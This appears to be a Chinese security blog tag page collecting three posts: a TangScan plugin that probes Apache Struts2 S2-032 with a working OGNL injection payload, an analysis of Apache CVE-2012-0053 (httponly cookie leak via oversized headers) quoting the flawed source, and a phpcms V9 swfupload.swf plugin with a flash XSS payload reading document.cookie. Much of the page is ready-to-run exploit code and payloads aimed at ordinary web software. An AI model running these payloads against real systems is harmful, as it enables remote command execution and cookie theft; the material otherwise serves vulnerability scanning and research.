标签: Tangscan

S2-032 远程命令执行 (POC@Tangscan)

前段时间很火的S2-032 远程命令执行

import re
import string
from StringIO import StringIO
from thirdparty import requests
from modules.exploit import TSExploit
from StringIO import StringIO

class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "S2-032 远程命令执行",
            "product": "",
            "product_version": "",
            "desc": """
            S2-032 远程命令执行
            """,
            "license": self.license.TS,
            "author": ["系统"],
            "ref": [
                {self.ref.wooyun: "http://zone.wooyun.org/content/26856"},
            ],
            "type": self.type.rce,
            "severity": self.severity.high,
            "privileged": False,
            "disclosure_date": "",
            "create_date": ""
        }
        self.register_option({
            "url": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.url_field,
                "desc": "目标 url"
            }
        })
        self.register_result({
            "status": False,
            "data": {

            },
            "description": "",
            "error": ""
        })

    def verify(self):
        exp_url = self.option.url + "?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(88888888-1),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"
        try:
            r = requests.get(exp_url)
            content = r.content
        except:
            content = ''
        if content.find('88888887') == 0:
            self.result.status = True
            self.result.description = "目标 {url} 存在st2命令执行".format(
            url=self.option.url
        )
        else:
            try:
                headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}
                data = {r'reqobj': 'com.opensymphony.xwork2.dispatcher.HttpServletRequest',"rpsobj":"com.opensymphony.xwork2.dispatcher.HttpServletResponse","xxoo":"1"}
                files = {'test': ('1.jpg', StringIO('1'))}
                req = requests.Request('POST', self.option.url, headers=headers, data=data,files=files).prepare()
                
                req.body = req.body.replace('xxoo', r'method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#w=#context.get(#parameters.rpsobj[0]),#w.getWriter().println(88888888-1),#w.getWriter().flush(),#w.getWriter().close(),1?#xx:#request.toStringj')
                req.headers['Content-Length'] = len(req.body)
                s = requests.Session()
                reponse = s.send(req, timeout=10, verify=False, allow_redirects=False)

                if reponse.content.find('88888887') == 0:
                    self.result.status = True
                    self.result.description = "目标 {url} 存在st2命令执行".format(
                    url=self.option.url
                )
                
                
            except Exception,e:
                print str(e)
    def exploit(self):
        pass

if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

 

谈谈CVE-2012-0053

0x00 前言

看编号就知道是个比较老的洞了,最近测东西的时候又碰到,找了点资料大致看了下形成原因,然后再分享下POC。

0x01 漏洞描述

Apache HTTP Server 2.2.x多个版本没有正确严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时服务器返回400(Bad Request)错误,并在返回信息中将出错请求头内容爆出,攻击者可以利用该漏洞获取httponly cookies。

受影响软件版本:
Apache Http Server:
Affected: 2.2.21, 2.2.20, 2.2.19, 2.2.18, 2.2.17, 2.2.16, 2.2.15, 2.2.14, 2.2.13, 2.2.12, 2.2.11, 2.2.10, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0

细节:

1、当HTTP请求头长度大于apache配置LimitRequestFieldSize长度时,服务器返回400错误页面中会携带LimitRequestFieldSize长度的错误请求头内容,如Cookies,User-agent等。

2、HTTP请求头长度不包含HTTP请求头名称与“:”。

3、Cookies请求头不包含多个cookies之间的空格,为实际多个cookies的长度总和。

4、Apache默认配置LimitRequestFieldSize长度为8196,浏览器正常访问默认截取请求头长度最大为4k

5、任意请求头(不限制于Cookie)超过LimitRequestFieldSize长度,服务器都会返回400错误并显示原始错误请求头信息。

 


0x02 漏洞分析

在ap_get_mime_headers_core中,该函数对于两种错误http请求的检查返回的信息出现了问题。

1.缺陷代码如下,在检测http_header超长后会返回Bad Request并将错误的部分返回给浏览器

field[len - 1] = '\0';
apr_table_setn(r->notes, "error-notes",
apr_pstrcat(r->pool,
     "Size of a request header field "
        "exceeds server limit.<br />\n"
        "<pre>\n",
        ap_escape_html(r->pool, field),
        "</pre>\n", NULL));

2.如果检查HTTP请求头中的某个域不包含冒号,则也返回错误的部分

if (!(value = strchr(last_field, ':'))) { /* Find ':' or    */
r->status = HTTP_BAD_REQUEST;      /* abort bad request */
    apr_table_setn(r->notes, "error-notes",
     apr_pstrcat(r->pool,
      "Request header field is "
      "missing ':' separator.<br />\n"
         "<pre>\n",
         ap_escape_html(r->pool,
          last_field),
       "</pre>\n", NULL));
    return;
}

继续阅读 谈谈CVE-2012-0053

Tangscan插件之phpcms V9 /swfupload.swf XSS

最近看到WooYun-2014-69833报告中对swfupload.swf、uploadify.swf造成的flash xss 分析,由于涉及范围广(国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等)命中率应该还可以,便给Tangscan提交了几个此类型插件,这里也分享一下代码。

先看下漏洞成因

this.movieName = root.loaderInfo.parameters.movieName;

            this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");

            this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart");

            this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued");

            this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError");

            this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete");

            this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");

            this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress");

            this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError");

            this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess");

            this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete");

            this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug");

            this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface");

            this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp");

代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的”],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。

因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。

 

分享下phpcms V9 /swfupload.swf XSS POC

  • TangScan-ID:TS-2014-17843
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import md5
from thirdparty import requests
from modules.exploit import TSExploit


class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "phpcms V9 /swfupload.swf XSS",
            "product": "phpcmsv9",
            "product_version": "",
            "desc": """
            phpcms V9 /swfupload.swf XSS
            """,
            "license": self.license.TS,
            "author": ["侦探911"],
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-069833"},
            ],
            "type": self.type.xss,
            "severity": self.severity.low,
            "privileged": False,
            "disclosure_date": "",
            "create_date": ""
        }
        self.register_option({
            "url": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.url_field,
                "desc": ""
            }
        })
        self.register_result({
            "status": False,
            "data": {

            },
            "description": "",
            "error": ""
        })

    def md5(self, content):
        return md5.new(content).hexdigest()

    def verify(self):
        flash_md5 = "3a1c6cc728dddc258091a601f28a9c12"
        exp_url = "{domain}/statics/js/swfupload/swfupload.swf".format(domain=self.option.url.rstrip('/'))

        try:
            response = requests.get(exp_url, verify=False, timeout=15)
        except Exception, e:
            self.result.error = str(e)
            return

        if self.md5(response.content) == flash_md5:
            self.result.status = True
            self.result.description = "目标 {url} 存在反射XSS, 验证url: {verify_url}".format(
                url=self.option.url,
                verify_url=exp_url + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//"
            )

    def exploit(self):
        self.verify()


if __name__ == '__main__':
    from modules.main import main
    main(TangScan())